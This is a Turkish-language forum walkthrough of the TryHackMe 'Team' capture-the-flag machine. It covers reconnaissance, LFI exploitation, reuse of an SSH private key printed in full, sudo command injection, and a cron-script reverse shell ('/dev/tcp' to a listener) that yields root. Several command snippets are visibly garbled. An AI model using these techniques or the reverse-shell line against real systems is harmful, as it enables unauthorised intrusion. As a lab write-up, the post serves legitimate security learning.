Merhaba THT ailesi, bu konumda TryHackMe sitesinde bulunan Team isimli makinenin çözümünü anlatacağım.
İlk olarak Nmap taraması yaparak başlıyoruz.
Açık Portlar
FTP 21
SSH 22
HTTP 80
80 portu olduğu için makinenin kendine ait bir websitesi var bu siteye http://MakineIP yazarak giriyoruz. Bizi default bir apache sayfası karşılıyor.
Sayfaya sağ tıklayıp bir ipucu varmı diye bakıyoruz, sayfa içeriğinde team.thm adresini host dosyamızı eklersek erişebileceğimizi söyleyen bir mesaj görüyoruz.
/etc/hosts dosyasına giderek adresimizi makine ip karşısına team.thm yazıp ekliyoruz.
Team.thm adresine artık erişebiliriz.
Sayfayı incelediğimde herhangi bir ip ucu bulamadım bu yüzden gobuster aracını kullanarak siteye ait dizinleri taratıp ipuçları aramaya çalışıyorum.
Robot.txt dosyasının bulunduğunu görüyorum görüntülemek için makineIP/robot.txt yapıyorum çıkan sayfada dale yazısı geldi. Bu büyük ihtimalle bizim erişeceğimiz makinenin kullanıcı adı.
Şimdi wfuzz aracını kullanarak siteye ait subdomainleri taratıyorum.
Kod:
wfuzz -c --hw 977 -u httpteam.thm -H Host FUZZ.team.thm -w usrshareseclistsDiscoveryDNSsubdomains-top1million-5000.txt
Tarama bittikten sonra div.team.thm adında bir subdomain çıktı adresimize giriş yapıyoruz.
Mavi yazıya tıklıyorum beni başka bir sayfaya yönlendirdi sayfada gelecekteki ekip için yer tutucu yazıyor burda LFI açığı olabilir deneyelim.
/etc/passwd dosyasını erişim sağlayabildim demekki LFI açığımız mevcut.
Açığı tespit ettikten sonra BurpSuite programını kullanarak brute force saldırısı ile başka hangi dosyalara ulaşabileceğimize bakalım. BurpSuite'in intruder özelliğini kullanarak saldırımızı yapalım.
SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt wordlistini kullanarak saldırıyı başlatıyorum, sshd_config adlı dosyada Dale kullanıcısının anahtarını görüntülüyoruz bu anahtarı kullanarak ssh bağlantısı yapabiliriz.
Kod:
#-----BEGIN OPENSSH PRIVATE KEY-----
#b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
#NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
#NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
#oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
#o9WqHhL5XS8lYu/fy5VAYOfJ0pyTh8IdhFUuAzfuC+fj0BcQ6ePFhxEF6WaNCSpK2v+qxP
#zMUILQdztr8WhURTxuaOQOIxQ2xJ+zWDKMiynzJ/lzwmI4EiOKj1/nh/w7I8rk6jBjaqAu
#k5xumOxPnyWAGiM0XOBSfgaU+eADcaGfwSF1a0gI8G/TtJfbcW33gnwZBVhc30uLG8JoKS
#xtA1J4yRazjEqK8hU8FUvowsGGls+trkxBYgceWwJFUudYjBq2NbX2glKz52vqFZdbAa1S
#0soiabHiuwd+3N/ygsSuDhOhKIg4MWH6VeJcSMIrAAAFkNt4pcTbeKXEAAAAB3NzaC1yc2
#EAAAGBAJ4OijEx985vuq6nkM5+RywY4K7gfZNq1/13cwq+o73RSyfrh+GVRDVJG4uVlDnU
#eKHJOHRY5NN19Ww7IWorABUSSZIFKtfszSfqfemSBCrZvd2mMt/mIIJYjf1qBvkT6j/D+v
#7n5VNH7cZBxOeB9S5dNx2zftB+CTPyJ177s+FPQ39PZvfSWIug1cOVxrGliqPVqh4S+V0v
#JWLv38uVQGDnydKck4fCHYRVLgM37gvn49AXEOnjxYcRBelmjQkqStr/qsT8zFCC0Hc7a/
#FoVEU8bmjkDiMUNsSfs1gyjIsp8yf5c8JiOBIjio9f54f8OyPK5OowY2qgLpOcbpjsT58l
#gBojNFzgUn4GlPngA3Ghn8EhdWtICPBv07SX23Ft94J8GQVYXN9LixvCaCksbQNSeMkWs4
#xKivIVPBVL6MLBhpbPra5MQWIHHlsCRVLnWIwatjW19oJSs+dr6hWXWwGtUtLKImmx4rsH
#ftzf8oLErg4ToSiIODFh+lXiXEjCKwAAAAMBAAEAAAGAGQ9nG8u3ZbTTXZPV4tekwzoijb
#esUW5UVqzUwbReU99WUjsG7V50VRqFUolh2hV1FvnHiLL7fQer5QAvGR0+QxkGLy/AjkHO
#eXC1jA4JuR2S/Ay47kUXjHMr+C0Sc/WTY47YQghUlPLHoXKWHLq/PB2tenkWN0p0fRb85R
#N1ftjJc+sMAWkJfwH+QqeBvHLp23YqJeCORxcNj3VG/4lnjrXRiyImRhUiBvRWek4o4Rxg
#Q4MUvHDPxc2OKWaIIBbjTbErxACPU3fJSy4MfJ69dwpvePtieFsFQEoJopkEMn1Gkf1Hyi
#U2lCuU7CZtIIjKLh90AT5eMVAntnGlK4H5UO1Vz9Z27ZsOy1Rt5svnhU6X6Pldn6iPgGBW
#/vS5rOqadSFUnoBrE+Cnul2cyLWyKnV+FQHD6YnAU2SXa8dDDlp204qGAJZrOKukXGIdiz
#82aDTaCV/RkdZ2YCb53IWyRw27EniWdO6NvMXG8pZQKwUI2B7wljdgm3ZB6fYNFUv5AAAA
#wQC5Tzei2ZXPj5yN7EgrQk16vUivWP9p6S8KUxHVBvqdJDoQqr8IiPovs9EohFRA3M3h0q
#z+zdN4wIKHMdAg0yaJUUj9WqSwj9ItqNtDxkXpXkfSSgXrfaLz3yXPZTTdvpah+WP5S8u6
#RuSnARrKjgkXT6bKyfGeIVnIpHjUf5/rrnb/QqHyE+AnWGDNQY9HH36gTyMEJZGV/zeBB7
#/ocepv6U5HWlqFB+SCcuhCfkegFif8M7O39K1UUkN6PWb4/IoAAADBAMuCxRbJE9A7sxzx
#sQD/wqj5cQx+HJ82QXZBtwO9cTtxrL1g10DGDK01H+pmWDkuSTcKGOXeU8AzMoM9Jj0ODb
#mPZgp7FnSJDPbeX6an/WzWWibc5DGCmM5VTIkrWdXuuyanEw8CMHUZCMYsltfbzeexKiur
#4fu7GSqPx30NEVfArs2LEqW5Bs/bc/rbZ0UI7/ccfVvHV3qtuNv3ypX4BuQXCkMuDJoBfg
#e9VbKXg7fLF28FxaYlXn25WmXpBHPPdwAAAMEAxtKShv88h0vmaeY0xpgqMN9rjPXvDs5S
#2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH
#8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX
#b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
#CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
#-----END OPENSSH PRIVATE KEY-----
Anahtarı .key dosya uzantılı olarak kaydettim, ssh bağlantısında kullanabilmek için terminale chmod 600 dale.key yazıyorum sonra ssh -i dale.key [email protected] yazarak bağlantımı sağlıyorum.
Bağlantıyı sağladıktan sonra ls yapıyorum ve user.txt dosyasını bunldum cat user.txt yaparak dosya içeriğini görüntülüyorum.
sudo-l komutunu kullanarak root olmadan erişebileceğimiz dosyaları görüntülüyorum. Komut dosyasına baktığımızda, komut dosyasına sistem komutlarını enjekte edebileceğimiz üç olası yer olduğunu görüyoruz.
/home/gyles/admin_checks dosyası üzerinden yürümeye çalışacağım.
Kod:
dale@TEAM:-$ cat /home/gyles/admin_checks #!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name echo $name >> /var/stats/stats.txt read -p "Enter 'date. to timestamp the file: " error
printf "The Date is
$error 2>/dev/null
date save=$(date "4%F-151-1-"s14") c
p /var/stats/stats.txt /var/stats/stats-Sdate_save.bak
printf "Stats have been backed up\n"
Makine medium seviye bu yüzden daha önce tecrübeniz olduğunu düşündüğüm için bu adımları açıklamadan anlayabileceğinizi düşünüyorum.
Kod:
dale@TEAM:-$ sudo -u gyles /home/gyles/admin checks
Reading stats. Reading stats..
Enter name of person backing up the data: sam
Enter 'date. to timestamp the file:
The Date is now
id uid.1001(gyleS) gid.1601(gyleS) groups=1001(gyles),1003(editors),1064(admin)
script •t -qc /bin/bash /dev/null
Kod:
cd sbin/
ls
ls -la
nano dev_backup.sh
ls
cd
ls
sudo rm root.txt
ls
nano /usr/local/bin/main backup.sh
clear
ls
cd
su root cronjob -I
crontab -I
su root
ls
ls -la
sudo chmod 770 adminstuff/
Kod:
#!/bin/bash
bash -c "bash >& /dev/tcp/10.2.12.26/4444 El>&b1"
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
Kod:
nc -lvo 4444
listening on [any] 4444 ...
connect to [10.2.12.20] from team.thm [10.10.66.236] 44400
bash: cannot set terminal process group (16111: Inappropriate ioctl for device
bash: no job control in this shell
root@TEAM:-#
Kod:
root@TEAM ls
root.txt
root@TEAM:—# cat root.txt
cat root.txt
Hedefimize ulaşmış oluyoruz.